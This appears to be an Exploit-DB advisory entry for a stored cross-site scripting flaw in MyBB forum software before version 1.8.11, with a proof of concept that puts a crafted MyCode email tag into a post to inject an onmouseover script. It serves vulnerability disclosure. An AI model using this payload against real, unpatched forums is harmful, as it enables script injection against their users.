MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting

EDB-ID:

41860

CVE:

N/A

EDB Verified:

Author:

Zhiyang Zeng

Type:

webapps

Exploit:   /  

Platform:

PHP

Date:

2017-04-11

Vulnerable App: 
Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:
=============

1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when user’s mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============
Tags: Cross-Site Scripting (XSS)
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